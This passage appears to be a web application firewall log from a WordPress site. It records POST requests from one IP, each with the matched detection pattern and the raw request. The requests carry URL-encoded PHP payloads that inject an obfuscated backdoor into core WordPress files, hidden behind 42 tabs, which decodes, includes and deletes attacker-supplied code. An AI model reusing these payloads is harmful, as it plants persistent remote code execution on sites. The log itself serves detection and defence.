Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4206\ncontent-type:application\/x-www-form-urlencoded\nupgrade-insecure-requests:1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\n\nVu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:40:50","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-length:4206\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\n\nQb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:40:51","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\ncontent-length:4229\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:40:53","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:3852\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nGg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2